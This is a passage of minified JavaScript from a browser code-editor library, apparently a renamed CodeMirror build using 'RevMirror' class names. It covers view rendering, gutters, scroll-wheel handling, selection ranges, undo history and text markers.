f=ei(e);if(!h&&0==f&&!t.force&&r.renderedView==r.view&&(null==r.updateLineNumbers||r.updateLineNumbers>=r.viewTo))return!1;var d=function(e){if(e.hasFocus())return null;var t=W();if(!t||!D(e.display.lineDiv,t))return null;var r={activeElt:t};if(window.getSelection){var n=window.getSelection();n.anchorNode&&n.extend&&D(e.display.lineDiv,n.anchorNode)&&(r.anchorNode=n.anchorNode,r.anchorOffset=n.anchorOffset,r.focusNode=n.focusNode,r.focusOffset=n.focusOffset)}return r}(e);return 4<f&&(r.lineDiv.style.display="none"),function(r,e,t){var n=r.display,i=r.options.lineNumbers,o=n.lineDiv,l=o.firstChild;function s(e){var t=e.nextSibling;return b&&w&&r.display.currentWheelTarget==e?e.style.display="none":e.parentNode.removeChild(e),t}for(var a=n.view,u=n.viewFrom,c=0;c<a.length;c++){var h=a[c];if(h.hidden);else if(h.node&&h.node.parentNode==o){for(;l!=h.node;)l=s(l);var f=i&&null!=e&&e<=u&&h.lineNumber;h.changes&&(-1<B(h.changes,"gutter")&&(f=!1),ur(r,h,u,t)),f&&(M(h.lineNumber),h.lineNumber.appendChild(document.createTextNode(ge(r.options,u)))),l=h.node.nextSibling}else{var d=(v=u,m=t,void 0,y=hr(p=r,g=h),g.text=g.node=y.pre,y.bgClass&&(g.bgClass=y.bgClass),y.textClass&&(g.textClass=y.textClass),dr(p,g),pr(p,g,v,m),vr(p,g,m),g.node);o.insertBefore(d,l)}u+=h.size}var p,g,v,m,y;for(;l;)l=s(l)}(e,r.updateLineNumbers,t.dims),4<f&&(r.lineDiv.style.display=""),r.renderedView=r.view,function(e){if(e&&e.activeElt&&e.activeElt!=W()&&(e.activeElt.focus(),e.anchorNode&&D(document.body,e.anchorNode)&&D(document.body,e.focusNode))){var t=window.getSelection(),r=document.createRange();r.setEnd(e.anchorNode,e.anchorOffset),r.collapse(!1),t.removeAllRanges(),t.addRange(r),t.extend(e.focusNode,e.focusOffset)}}(d),M(r.cursorDiv),M(r.selectionDiv),r.gutters.style.height=r.sizer.style.minHeight=0,h&&(r.lastWrapHeight=t.wrapperHeight,r.lastWrapWidth=t.wrapperWidth,ti(e,400)),!(r.updateLineNumbers=null)}function oi(e,t){for(var r=t.viewport,n=!0;(n&&e.options.lineWrapping&&t.oldDisplayWidth!=kr(e)||(r&&null!=r.top&&(r={top:Math.min(e.doc.height+Cr(e.display)-Tr(e),r.top)}),t.visible=wn(e.display,e.doc,r),!(t.visible.from>=e.display.viewFrom&&t.visible.to<=e.display.viewTo)))&&ii(e,t);n=!1){yn(e);var i=Wn(e);an(e),Pn(e,i),ai(e,i),t.force=!1}t.signal(e,"update",e),e.display.viewFrom==e.display.reportedViewFrom&&e.display.viewTo==e.display.reportedViewTo||(t.signal(e,"viewportChange",e,e.display.viewFrom,e.display.viewTo),e.display.reportedViewFrom=e.display.viewFrom,e.display.reportedViewTo=e.display.viewTo)}function li(e,t){var r=new ni(e,t);if(ii(e,r)){yn(e),oi(e,r);var n=Wn(e);an(e),Pn(e,n),ai(e,n),r.finish()}}function si(e){var t=e.display.gutters.offsetWidth;e.display.sizer.style.marginLeft=t+"px"}function ai(e,t){e.display.sizer.style.minHeight=t.docHeight+"px",e.display.heightForcer.style.top=t.docHeight+"px",e.display.gutters.style.height=t.docHeight+e.display.barHeight+Lr(e)+"px"}function ui(e){var t=e.display.gutters,r=e.options.gutters;M(t);for(var n=0;n<r.length;++n){var i=r[n],o=t.appendChild(A("div",null,"RevMirror-gutter "+i));"RevMirror-linenumbers"==i&&((e.display.lineGutter=o).style.width=(e.display.lineNumWidth||1)+"px")}t.style.display=n?"":"none",si(e)}function ci(e){var t=B(e.gutters,"RevMirror-linenumbers");-1==t&&e.lineNumbers?e.gutters=e.gutters.concat(["RevMirror-linenumbers"]):-1<t&&!e.lineNumbers&&(e.gutters=e.gutters.slice(0),e.gutters.splice(t,1))}ni.prototype.signal=function(e,t){st(e,t)&&this.events.push(arguments)},ni.prototype.finish=function(){for(var e=0;e<this.events.length;e++)it.apply(null,this.events[e])};var hi=0,fi=null;function di(e){var t=e.wheelDeltaX,r=e.wheelDeltaY;return null==t&&e.detail&&e.axis==e.HORIZONTAL_AXIS&&(t=e.detail),null==r&&e.detail&&e.axis==e.VERTICAL_AXIS?r=e.detail:null==r&&(r=e.wheelDelta),{x:t,y:r}}function pi(e){var t=di(e);return t.x*=fi,t.y*=fi,t}function gi(e,t){var r=di(t),n=r.x,i=r.y,o=e.display,l=o.scroller,s=l.scrollWidth>l.clientWidth,a=l.scrollHeight>l.clientHeight;if(n&&s||i&&a){if(i&&w&&b)e:for(var u=t.target,c=o.view;u!=l;u=u.parentNode)for(var h=0;h<c.length;h++)if(c[h].node==u){e.display.currentWheelTarget=u;break e}if(n&&!g&&!v&&null!=fi)return i&&a&&On(e,Math.max(0,l.scrollTop+i*fi)),Dn(e,Math.max(0,l.scrollLeft+n*fi)),(!i||i&&a)&&ut(t),void(o.wheelStartX=null);if(i&&null!=fi){var f=i*fi,d=e.doc.scrollTop,p=d+o.wrapper.clientHeight;f<0?d=Math.max(0,d+f-50):p=Math.min(e.doc.height,p+f+50),li(e,{top:d,bottom:p})}hi<20&&(null==o.wheelStartX?(o.wheelStartX=l.scrollLeft,o.wheelStartY=l.scrollTop,o.wheelDX=n,o.wheelDY=i,setTimeout(function(){if(null!=o.wheelStartX){var e=l.scrollLeft-o.wheelStartX,t=l.scrollTop-o.wheelStartY,r=t&&o.wheelDY&&t/o.wheelDY||e&&o.wheelDX&&e/o.wheelDX;o.wheelStartX=o.wheelStartY=null,r&&(fi=(fi*hi+r)/(hi+1),++hi)}},200)):(o.wheelDX+=n,o.wheelDY+=i))}}x?fi=-.53:g?fi=15:l?fi=-.7:a&&(fi=-1/3);var vi=function(e,t){this.ranges=e,this.primIndex=t};vi.prototype.primary=function(){return this.ranges[this.primIndex]},vi.prototype.equals=function(e){if(e==this)return!0;if(e.primIndex!=this.primIndex||e.ranges.length!=this.ranges.length)return!1;for(var t=0;t<this.ranges.length;t++){var r=this.ranges[t],n=e.ranges[t];if(!ye(r.anchor,n.anchor)||!ye(r.head,n.head))return!1}return!0},vi.prototype.deepCopy=function(){for(var e=[],t=0;t<this.ranges.length;t++)e[t]=new mi(be(this.ranges[t].anchor),be(this.ranges[t].head));return new vi(e,this.primIndex)},vi.prototype.somethingSelected=function(){for(var e=0;e<this.ranges.length;e++)if(!this.ranges[e].empty())return!0;return!1},vi.prototype.contains=function(e,t){t||(t=e);for(var r=0;r<this.ranges.length;r++){var n=this.ranges[r];if(0<=me(t,n.from())&&me(e,n.to())<=0)return r}return-1};var mi=function(e,t){this.anchor=e,this.head=t};function yi(e,t){var r=e[t];e.sort(function(e,t){return me(e.from(),t.from())}),t=B(e,r);for(var n=1;n<e.length;n++){var i=e[n],o=e[n-1];if(0<=me(o.to(),i.from())){var l=xe(o.from(),i.from()),s=we(o.to(),i.to()),a=o.empty()?i.from()==i.head:o.from()==o.head;n<=t&&--t,e.splice(--n,2,new mi(a?s:l,a?l:s))}}return new vi(e,t)}function bi(e,t){return new vi([new mi(e,t||e)],0)}function wi(e){return e.text?ve(e.from.line+e.text.length-1,$(e.text).length+(1==e.text.length?e.from.ch:0)):e.to}function xi(e,t){if(me(e,t.from)<0)return e;if(me(e,t.to)<=0)return wi(t);var r=e.line+t.text.length-(t.to.line-t.from.line)-1,n=e.ch;return e.line==t.to.line&&(n+=wi(t).ch-t.to.ch),ve(r,n)}function Ci(e,t){for(var r=[],n=0;n<e.sel.ranges.length;n++){var i=e.sel.ranges[n];r.push(new mi(xi(i.anchor,t),xi(i.head,t)))}return yi(r,e.sel.primIndex)}function Si(e,t,r){return e.line==t.line?ve(r.line,e.ch-t.ch+r.ch):ve(r.line+(e.line-t.line),e.ch)}function Li(e){e.doc.mode=Nt(e.options,e.doc.modeOption),ki(e)}function ki(e){e.doc.iter(function(e){e.stateAfter&&(e.stateAfter=null),e.styles&&(e.styles=null)}),e.doc.modeFrontier=e.doc.highlightFrontier=e.doc.first,ti(e,100),e.state.modeGen++,e.curOp&&qn(e)}function Ti(e,t){return 0==t.from.ch&&0==t.to.ch&&""==$(t.text)&&(!e.cm||e.cm.options.wholeLineUpdateBefore)}function Mi(e,n,t,i){function o(e){return t?t[e]:null}function r(e,t,r){!function(e,t,r,n){e.text=t,e.stateAfter&&(e.stateAfter=null),e.styles&&(e.styles=null),null!=e.order&&(e.order=null),We(e),He(e,r);var i=n?n(e):1;i!=e.height&&he(e,i)}(e,t,r,i),sr(e,"change",e,n)}function l(e,t){for(var r=[],n=e;n<t;++n)r.push(new Yt(u[n],o(n),i));return r}var s=n.from,a=n.to,u=n.text,c=ae(e,s.line),h=ae(e,a.line),f=$(u),d=o(u.length-1),p=a.line-s.line;if(n.full)e.insert(0,l(0,u.length)),e.remove(u.length,e.size-u.length);else if(Ti(e,n)){var g=l(0,u.length-1);r(h,h.text,d),p&&e.remove(s.line,p),g.length&&e.insert(s.line,g)}else if(c==h)if(1==u.length)r(c,c.text.slice(0,s.ch)+f+c.text.slice(a.ch),d);else{var v=l(1,u.length-1);v.push(new Yt(f+c.text.slice(a.ch),d,i)),r(c,c.text.slice(0,s.ch)+u[0],o(0)),e.insert(s.line+1,v)}else if(1==u.length)r(c,c.text.slice(0,s.ch)+u[0]+h.text.slice(a.ch),o(0)),e.remove(s.line+1,p);else{r(c,c.text.slice(0,s.ch)+u[0],o(0)),r(h,f+h.text.slice(a.ch),d);var m=l(1,u.length-1);1<p&&e.remove(s.line+1,p-1),e.insert(s.line+1,m)}sr(e,"change",e,n)}function Ni(e,s,a){!function e(t,r,n){if(t.linked)for(var i=0;i<t.linked.length;++i){var o=t.linked[i];if(o.doc!=r){var l=n&&o.sharedHist;a&&!l||(s(o.doc,l),e(o.doc,t,l))}}}(e,null,!0)}function Oi(e,t){if(t.cm)throw new Error("This document is already in use.");on((e.doc=t).cm=e),Li(e),Ai(e),e.options.lineWrapping||$e(e),e.options.mode=t.modeOption,qn(e)}function Ai(e){("rtl"==e.doc.direction?H:T)(e.display.lineDiv,"RevMirror-rtl")}function Di(e){this.done=[],this.undone=[],this.undoDepth=1/0,this.lastModTime=this.lastSelTime=0,this.lastOp=this.lastSelOp=null,this.lastOrigin=this.lastSelOrigin=null,this.generation=this.maxGeneration=e||1}function Wi(e,t){var r={from:be(t.from),to:wi(t),text:ue(e,t.from,t.to)};return Ii(e,r,t.from.line,t.to.line+1),Ni(e,function(e){return Ii(e,r,t.from.line,t.to.line+1)},!0),r}function Hi(e){for(;e.length;){if(!$(e).ranges)break;e.pop()}}function Fi(e,t,r,n){var i=e.history;i.undone.length=0;var o,l,s,a=+new Date;if((i.lastOp==n||i.lastOrigin==t.origin&&t.origin&&("+"==t.origin.charAt(0)&&i.lastModTime>a-(e.cm?e.cm.options.historyEventDelay:500)||"*"==t.origin.charAt(0)))&&(o=(s=i).lastOp==n?(Hi(s.done),$(s.done)):s.done.length&&!$(s.done).ranges?$(s.done):1<s.done.length&&!s.done[s.done.length-2].ranges?(s.done.pop(),$(s.done)):void 0))l=$(o.changes),0==me(t.from,t.to)&&0==me(t.from,l.to)?l.to=wi(t):o.changes.push(Wi(e,t));else{var u=$(i.done);for(u&&u.ranges||Ei(e.sel,i.done),o={changes:[Wi(e,t)],generation:i.generation},i.done.push(o);i.done.length>i.undoDepth;)i.done.shift(),i.done[0].ranges||i.done.shift()}i.done.push(r),i.generation=++i.maxGeneration,i.lastModTime=i.lastSelTime=a,i.lastOp=i.lastSelOp=n,i.lastOrigin=i.lastSelOrigin=t.origin,l||it(e,"historyAdded")}function Pi(e,t,r,n){var i,o,l,s,a,u=e.history,c=n&&n.origin;r==u.lastSelOp||c&&u.lastSelOrigin==c&&(u.lastModTime==u.lastSelTime&&u.lastOrigin==c||(i=e,o=c,l=$(u.done),s=t,"*"==(a=o.charAt(0))||"+"==a&&l.ranges.length==s.ranges.length&&l.somethingSelected()==s.somethingSelected()&&new Date-i.history.lastSelTime<=(i.cm?i.cm.options.historyEventDelay:500)))?u.done[u.done.length-1]=t:Ei(t,u.done),u.lastSelTime=+new Date,u.lastSelOrigin=c,u.lastSelOp=r,n&&!1!==n.clearRedo&&Hi(u.undone)}function Ei(e,t){var r=$(t);r&&r.ranges&&r.equals(e)||t.push(e)}function Ii(t,r,e,n){var i=r["spans_"+t.id],o=0;t.iter(Math.max(t.first,e),Math.min(t.first+t.size,n),function(e){e.markedSpans&&((i||(i=r["spans_"+t.id]={}))[o]=e.markedSpans),++o})}function zi(e){if(!e)return null;for(var t,r=0;r<e.length;++r)e[r].marker.explicitlyCleared?t||(t=e.slice(0,r)):t&&t.push(e[r]);return t?t.length?t:null:e}function Ri(e,t){var r=function(e,t){var r=t["spans_"+e.id];if(!r)return null;for(var n=[],i=0;i<t.text.length;++i)n.push(zi(r[i]));return n}(e,t),n=Ae(e,t);if(!r)return n;if(!n)return r;for(var i=0;i<r.length;++i){var o=r[i],l=n[i];if(o&&l)e:for(var s=0;s<l.length;++s){for(var a=l[s],u=0;u<o.length;++u)if(o[u].marker==a.marker)continue e;o.push(a)}else l&&(r[i]=l)}return r}function Bi(e,t,r){for(var n=[],i=0;i<e.length;++i){var o=e[i];if(o.ranges)n.push(r?vi.prototype.deepCopy.call(o):o);else{var l=o.changes,s=[];n.push({changes:s});for(var a=0;a<l.length;++a){var u=l[a],c=void 0;if(s.push({from:u.from,to:u.to,text:u.text}),t)for(var h in u)(c=h.match(/^spans_(\d+)$/))&&-1<B(t,Number(c[1]))&&($(s)[h]=u[h],delete u[h])}}}return n}function Gi(e,t,r,n){if(n){var i=e.anchor;if(r){var o=me(t,i)<0;o!=me(r,i)<0?(i=t,t=r):o!=me(t,r)<0&&(t=r)}return new mi(i,t)}return new mi(r||t,t)}function Ui(e,t,r,n,i){null==i&&(i=e.cm&&(e.cm.display.shift||e.extend)),Yi(e,new vi([Gi(e.sel.primary(),t,r,i)],0),n)}function Vi(e,t,r){for(var n=[],i=e.cm&&(e.cm.display.shift||e.extend),o=0;o<e.sel.ranges.length;o++)n[o]=Gi(e.sel.ranges[o],t[o],null,i);Yi(e,yi(n,e.sel.primIndex),r)}function Ki(e,t,r,n){var i=e.sel.ranges.slice(0);i[t]=r,Yi(e,yi(i,e.sel.primIndex),n)}function ji(e,t,r,n){Yi(e,bi(t,r),n)}function Xi(e,t,r){var n=e.history.done,i=$(n);i&&i.ranges?_i(e,n[n.length-1]=t,r):Yi(e,t,r)}function Yi(e,t,r){_i(e,t,r),Pi(e,e.sel,e.cm?e.cm.curOp.id:NaN,r)}function _i(e,t,r){var n,i,o,l;(st(e,"beforeSelectionChange")||e.cm&&st(e.cm,"beforeSelectionChange"))&&(n=e,o=r,l={ranges:(i=t).ranges,update:function(e){this.ranges=[];for(var t=0;t<e.length;t++)this.ranges[t]=new mi(Se(n,e[t].anchor),Se(n,e[t].head))},origin:o&&o.origin},it(n,"beforeSelectionChange",n,l),n.cm&&it(n.cm,"beforeSelectionChange",n.cm,l),t=l.ranges!=i.ranges?yi(l.ranges,l.ranges.length-1):i),$i(e,Zi(e,t,r&&r.bias||(me(t.primary().head,e.sel.primary().head)<0?-1:1),!0)),r&&!1===r.scroll||!e.cm||kn(e.cm)}function $i(e,t){t.equals(e.sel)||(e.sel=t,e.cm&&(e.cm.curOp.updateInput=e.cm.curOp.selectionChanged=!0,lt(e.cm)),sr(e,"cursorActivity",e))}function qi(e){$i(e,Zi(e,e.sel,null,!1))}function Zi(e,t,r,n){for(var i,o=0;o<t.ranges.length;o++){var l=t.ranges[o],s=t.ranges.length==e.sel.ranges.length&&e.sel.ranges[o],a=Ji(e,l.anchor,s&&s.anchor,r,n),u=Ji(e,l.head,s&&s.head,r,n);(i||a!=l.anchor||u!=l.head)&&(i||(i=t.ranges.slice(0,o)),i[o]=new mi(a,u))}return i?yi(i,t.primIndex):t}function Qi(e,t,r,n,i){var o=ae(e,t.line);if(o.markedSpans)for(var l=0;l<o.markedSpans.length;++l){var s=o.markedSpans[l],a=s.marker;if((null==s.from||(a.inclusiveLeft?s.from<=t.ch:s.from<t.ch))&&(null==s.to||(a.inclusiveRight?s.to>=t.ch:s.to>t.ch))){if(i&&(it(a,"beforeCursorEnter"),a.explicitlyCleared)){if(o.markedSpans){--l;continue}break}if(!a.atomic)continue;if(r){var u=a.find(n<0?1:-1),c=void 0;if((n<0?a.inclusiveRight:a.inclusiveLeft)&&(u=eo(e,u,-n,u&&u.line==t.line?o:null)),u&&u.line==t.line&&(c=me(u,r))&&(n<0?c<0:0<c))return Qi(e,u,t,n,i)}var h=a.find(n<0?-1:1);return(n<0?a.inclusiveLeft:a.inclusiveRight)&&(h=eo(e,h,n,h.line==t.line?o:null)),h?Qi(e,h,t,n,i):null}}return t}function Ji(e,t,r,n,i){var o=n||1,l=Qi(e,t,r,o,i)||!i&&Qi(e,t,r,o,!0)||Qi(e,t,r,-o,i)||!i&&Qi(e,t,r,-o,!0);return l||(e.cantEdit=!0,ve(e.first,0))}function eo(e,t,r,n){return r<0&&0==t.ch?t.line>e.first?Se(e,ve(t.line-1)):null:0<r&&t.ch==(n||ae(e,t.line)).text.length?t.line<e.first+e.size-1?ve(t.line+1,0):null:new ve(t.line,t.ch+r)}function to(e){e.setSelection(ve(e.firstLine(),0),ve(e.lastLine()),V)}function ro(i,e,t){var o={canceled:!1,from:e.from,to:e.to,text:e.text,origin:e.origin,cancel:function(){return o.canceled=!0}};return t&&(o.update=function(e,t,r,n){e&&(o.from=Se(i,e)),t&&(o.to=Se(i,t)),r&&(o.text=r),void 0!==n&&(o.origin=n)}),it(i,"beforeChange",i,o),i.cm&&it(i.cm,"beforeChange",i.cm,o),o.canceled?null:{from:o.from,to:o.to,text:o.text,origin:o.origin}}function no(e,t,r){if(e.cm){if(!e.cm.curOp)return Yn(e.cm,no)(e,t,r);if(e.cm.state.suppressEdits)return}if(!(st(e,"beforeChange")||e.cm&&st(e.cm,"beforeChange"))||(t=ro(e,t,!0))){var n=ke&&!r&&function(e,t,r){var n=null;if(e.iter(t.line,r.line+1,function(e){if(e.markedSpans)for(var t=0;t<e.markedSpans.length;++t){var r=e.markedSpans[t].marker;!r.readOnly||n&&-1!=B(n,r)||(n||(n=[])).push(r)}}),!n)return null;for(var i=[{from:t,to:r}],o=0;o<n.length;++o)for(var l=n[o],s=l.find(0),a=0;a<i.length;++a){var u=i[a];if(!(me(u.to,s.from)<0||0<me(u.from,s.to))){var c=[a,1],h=me(u.from,s.from),f=me(u.to,s.to);(h<0||!l.inclusiveLeft&&!h)&&c.push({from:u.from,to:s.from}),(0<f||!l.inclusiveRight&&!f)&&c.push({from:s.to,to:u.to}),i.splice.apply(i,c),a+=c.length-3}}return i}(e,t.from,t.to);if(n)for(var i=n.length-1;0<=i;--i)io(e,{from:n[i].from,to:n[i].to,text:i?[""]:t.text,origin:t.origin});else io(e,t)}}function io(e,r){if(1!=r.text.length||""!=r.text[0]||0!=me(r.from,r.to)){var t=Ci(e,r);Fi(e,r,t,e.cm?e.cm.curOp.id:NaN),so(e,r,t,Ae(e,r));var n=[];Ni(e,function(e,t){t||-1!=B(n,e.history)||(ho(e.history,r),n.push(e.history)),so(e,r,null,Ae(e,r))})}}function oo(i,o,e){var t=i.cm&&i.cm.state.suppressEdits;if(!t||e){for(var l,r=i.history,n=i.sel,s="undo"==o?r.done:r.undone,a="undo"==o?r.undone:r.done,u=0;u<s.length&&(l=s[u],e?!l.ranges||l.equals(i.sel):l.ranges);u++);if(u!=s.length){for(r.lastOrigin=r.lastSelOrigin=null;;){if(!(l=s.pop()).ranges){if(t)return void s.push(l);break}if(Ei(l,a),e&&!l.equals(i.sel))return void Yi(i,l,{clearRedo:!1});n=l}var c=[];Ei(n,a),a.push({changes:c,generation:r.generation}),r.generation=l.generation||++r.maxGeneration;for(var h=st(i,"beforeChange")||i.cm&&st(i.cm,"beforeChange"),f=function(e){var r=l.changes[e];if(r.origin=o,h&&!ro(i,r,!1))return s.length=0,{};c.push(Wi(i,r));var t=e?Ci(i,r):$(s);so(i,r,t,Ri(i,r)),!e&&i.cm&&i.cm.scrollIntoView({from:r.from,to:wi(r)});var n=[];Ni(i,function(e,t){t||-1!=B(n,e.history)||(ho(e.history,r),n.push(e.history)),so(e,r,null,Ri(e,r))})},d=l.changes.length-1;0<=d;--d){var p=f(d);if(p)return p.v}}}}function lo(e,t){if(0!=t&&(e.first+=t,e.sel=new vi(q(e.sel.ranges,function(e){return new mi(ve(e.anchor.line+t,e.anchor.ch),ve(e.head.line+t,e.head.ch))}),e.sel.primIndex),e.cm)){qn(e.cm,e.first,e.first-t,t);for(var r=e.cm.display,n=r.viewFrom;n<r.viewTo;n++)Zn(e.cm,n,"gutter")}}function so(e,t,r,n){if(e.cm&&!e.cm.curOp)return Yn(e.cm,so)(e,t,r,n);if(t.to.line<e.first)lo(e,t.text.length-1-(t.to.line-t.from.line));else if(!(t.from.line>e.lastLine())){if(t.from.line<e.first){var i=t.text.length-1-(e.first-t.from.line);lo(e,i),t={from:ve(e.first,0),to:ve(t.to.line+i,t.to.ch),text:[$(t.text)],origin:t.origin}}var o=e.lastLine();t.to.line>o&&(t={from:t.from,to:ve(o,ae(e,o).text.length),text:[t.text[0]],origin:t.origin}),t.removed=ue(e,t.from,t.to),r||(r=Ci(e,t)),e.cm?function(e,t,r){var n=e.doc,i=e.display,o=t.from,l=t.to,s=!1,a=o.line;e.options.lineWrapping||(a=fe(Ue(ae(n,o.line))),n.iter(a,l.line+1,function(e){if(e==i.maxLine)return s=!0}));-1<n.sel.contains(t.from,t.to)&&lt(e);Mi(n,t,r,nn(e)),e.options.lineWrapping||(n.iter(a,o.line+t.text.length,function(e){var t=_e(e);t>i.maxLineLength&&(i.maxLine=e,i.maxLineLength=t,i.maxLineChanged=!0,s=!1)}),s&&(e.curOp.updateMaxLine=!0));(function(e,t){if(e.modeFrontier=Math.min(e.modeFrontier,t),!(e.highlightFrontier<t-10)){for(var r=e.first,n=t-1;r<n;n--){var i=ae(e,n).stateAfter;if(i&&(!(i instanceof Pt)||n+i.lookAhead<t)){r=n+1;break}}e.highlightFrontier=Math.min(e.highlightFrontier,r)}})(n,o.line),ti(e,400);var u=t.text.length-(l.line-o.line)-1;t.full?qn(e):o.line!=l.line||1!=t.text.length||Ti(e.doc,t)?qn(e,o.line,l.line+1,u):Zn(e,o.line,"text");var c=st(e,"changes"),h=st(e,"change");if(h||c){var f={from:o,to:l,text:t.text,removed:t.removed,origin:t.origin};h&&sr(e,"change",e,f),c&&(e.curOp.changeObjs||(e.curOp.changeObjs=[])).push(f)}e.display.selForContextMenu=null}(e.cm,t,n):Mi(e,t,n),_i(e,r,V)}}function ao(e,t,r,n,i){var o;(n||(n=r),me(n,r)<0)&&(r=(o=[n,r])[0],n=o[1]);"string"==typeof t&&(t=e.splitLines(t)),no(e,{from:r,to:n,text:t,origin:i})}function uo(e,t,r,n){r<e.line?e.line+=n:t<e.line&&(e.line=t,e.ch=0)}function co(e,t,r,n){for(var i=0;i<e.length;++i){var o=e[i],l=!0;if(o.ranges){o.copied||((o=e[i]=o.deepCopy()).copied=!0);for(var s=0;s<o.ranges.length;s++)uo(o.ranges[s].anchor,t,r,n),uo(o.ranges[s].head,t,r,n)}else{for(var a=0;a<o.changes.length;++a){var u=o.changes[a];if(r<u.from.line)u.from=ve(u.from.line+n,u.from.ch),u.to=ve(u.to.line+n,u.to.ch);else if(t<=u.to.line){l=!1;break}}l||(e.splice(0,i+1),i=0)}}}function ho(e,t){var r=t.from.line,n=t.to.line,i=t.text.length-(n-r)-1;co(e.done,r,n,i),co(e.undone,r,n,i)}function fo(e,t,r,n){var i=t,o=t;return"number"==typeof t?o=ae(e,Ce(e,t)):i=fe(t),null==i?null:(n(o,i)&&e.cm&&Zn(e.cm,i,r),o)}function po(e){this.lines=e,this.parent=null;for(var t=0,r=0;r<e.length;++r)e[r].parent=this,t+=e[r].height;this.height=t}function go(e){this.children=e;for(var t=0,r=0,n=0;n<e.length;++n){var i=e[n];t+=i.chunkSize(),r+=i.height,i.parent=this}this.size=t,this.height=r,this.parent=null}mi.prototype.from=function(){return xe(this.anchor,this.head)},mi.prototype.to=function(){return we(this.anchor,this.head)},mi.prototype.empty=function(){return this.head.line==this.anchor.line&&this.head.ch==this.anchor.ch},po.prototype={chunkSize:function(){return this.lines.length},removeInner:function(e,t){for(var r,n=e,i=e+t;n<i;++n){var o=this.lines[n];this.height-=o.height,(r=o).parent=null,We(r),sr(o,"delete")}this.lines.splice(e,t)},collapse:function(e){e.push.apply(e,this.lines)},insertInner:function(e,t,r){this.height+=r,this.lines=this.lines.slice(0,e).concat(t).concat(this.lines.slice(e));for(var n=0;n<t.length;++n)t[n].parent=this},iterN:function(e,t,r){for(var n=e+t;e<n;++e)if(r(this.lines[e]))return!0}},go.prototype={chunkSize:function(){return this.size},removeInner:function(e,t){this.size-=t;for(var r=0;r<this.children.length;++r){var n=this.children[r],i=n.chunkSize();if(e<i){var o=Math.min(t,i-e),l=n.height;if(n.removeInner(e,o),this.height-=l-n.height,i==o&&(this.children.splice(r--,1),n.parent=null),0==(t-=o))break;e=0}else e-=i}if(this.size-t<25&&(1<this.children.length||!(this.children[0]instanceof po))){var s=[];this.collapse(s),this.children=[new po(s)],this.children[0].parent=this}},collapse:function(e){for(var t=0;t<this.children.length;++t)this.children[t].collapse(e)},insertInner:function(e,t,r){this.size+=t.length,this.height+=r;for(var n=0;n<this.children.length;++n){var i=this.children[n],o=i.chunkSize();if(e<=o){if(i.insertInner(e,t,r),i.lines&&50<i.lines.length){for(var l=i.lines.length%25+25,s=l;s<i.lines.length;){var a=new po(i.lines.slice(s,s+=25));i.height-=a.height,this.children.splice(++n,0,a),a.parent=this}i.lines=i.lines.slice(0,l),this.maybeSpill()}break}e-=o}},maybeSpill:function(){if(!(this.children.length<=10)){var e=this;do{var t=new go(e.children.splice(e.children.length-5,5));if(e.parent){e.size-=t.size,e.height-=t.height;var r=B(e.parent.children,e);e.parent.children.splice(r+1,0,t)}else{var n=new go(e.children);(n.parent=e).children=[n,t],e=n}t.parent=e.parent}while(10<e.children.length);e.parent.maybeSpill()}},iterN:function(e,t,r){for(var n=0;n<this.children.length;++n){var i=this.children[n],o=i.chunkSize();if(e<o){var l=Math.min(t,o-e);if(i.iterN(e,l,r))return!0;if(0==(t-=l))break;e=0}else e-=o}}};var vo=function(e,t,r){if(r)for(var n in r)r.hasOwnProperty(n)&&(this[n]=r[n]);this.doc=e,this.node=t};function mo(e,t,r){Ye(t)<(e.curOp&&e.curOp.scrollTop||e.doc.scrollTop)&&Ln(e,r)}vo.prototype.clear=function(){var e=this.doc.cm,t=this.line.widgets,r=this.line,n=fe(r);if(null!=n&&t){for(var i=0;i<t.length;++i)t[i]==this&&t.splice(i--,1);t.length||(r.widgets=null);var o=br(this);he(r,Math.max(0,r.height-o)),e&&(Xn(e,function(){mo(e,r,-o),Zn(e,n,"widget")}),sr(e,"lineWidgetCleared",e,this,n))}},vo.prototype.changed=function(){var e=this,t=this.height,r=this.doc.cm,n=this.line;this.height=null;var i=br(this)-t;i&&(he(n,n.height+i),r&&Xn(r,function(){r.curOp.forceUpdate=!0,mo(r,n,i),sr(r,"lineWidgetChanged",r,e,fe(n))}))},at(vo);var yo=0,bo=function(e,t){this.lines=[],this.type=t,this.doc=e,this.id=++yo};function wo(t,n,i,e,r){if(e&&e.shared)return function(e,r,n,i,o){(i=I(i)).shared=!1;var l=[wo(e,r,n,i,o)],s=l[0],a=i.widgetNode;return Ni(e,function(e){a&&(i.widgetNode=a.cloneNode(!0)),l.push(wo(e,Se(e,r),Se(e,n),i,o));for(var t=0;t<e.linked.length;++t)if(e.linked[t].isParent)return;s=$(l)}),new xo(l,s)}(t,n,i,e,r);if(t.cm&&!t.cm.curOp)return Yn(t.cm,wo)(t,n,i,e,r);var o=new bo(t,r),l=me(n,i);if(e&&I(e,o,!1),0<l||0==l&&!1!==o.clearWhenEmpty)return o;if(o.replacedWith&&(o.collapsed=!0,o.widgetNode=O("span",[o.replacedWith],"RevMirror-widget"),e.handleMouseEvents||o.widgetNode.setAttribute("cm-ignore-events","true"),e.insertLeft&&(o.widgetNode.insertLeft=!0)),o.collapsed){if(Ge(t,n.line,n,i,o)||n.line!=i.line&&Ge(t,i.line,n,i,o))throw new Error("Inserting collapsed marker partially overlapping an existing one");Te=!0}o.addToHistory&&Fi(t,{from:n,to:i,origin:"markText"},t.sel,NaN);var s,a=n.line,u=t.cm;if(t.iter(a,i.line+1,function(e){var t,r;u&&o.collapsed&&!u.options.lineWrapping&&Ue(e)==u.display.maxLine&&(s=!0),o.collapsed&&a!=n.line&&he(e,0),t=e,r=new Me(o,a==n.line?n.ch:null,a==i.line?i.ch:null),t.markedSpans=t.markedSpans?t.markedSpans.concat([r]):[r],r.marker.attachLine(t),++a}),o.collapsed&&t.iter(n.line,i.line+1,function(e){je(t,e)&&he(e,0)}),o.clearOnEnter&&tt(o,"beforeCursorEnter",function(){return o.clear()}),o.readOnly&&(ke=!0,(t.history.done.length||t.history.undone.length)&&t.clearHistory()),o.collapsed&&(o.id=++yo,o.atomic=!0),u){if(s&&(u.curOp.updateMaxLine=!0),o.collapsed)qn(u,n.line,i.line+1);else if(o.className||o.title||o.startStyle||o.endStyle||o.css)for(var c=n.line;c<=i.line;c++)Zn(u,c,"text");o.atomic&&qi(u.doc),sr(u,"markerAdded",u,o)}return o}bo.prototype.clear=function(){var e=this;if(!this.explicitlyCleared){var t=this.doc.cm,r=t&&!t.curOp;if(r&&Bn(t),st(this,"clear")){var n=this.find();n&&sr(this,"clear",n.from,n.to)}for(var i=null,o=null,l=0;l<this.lines.length;++l){var 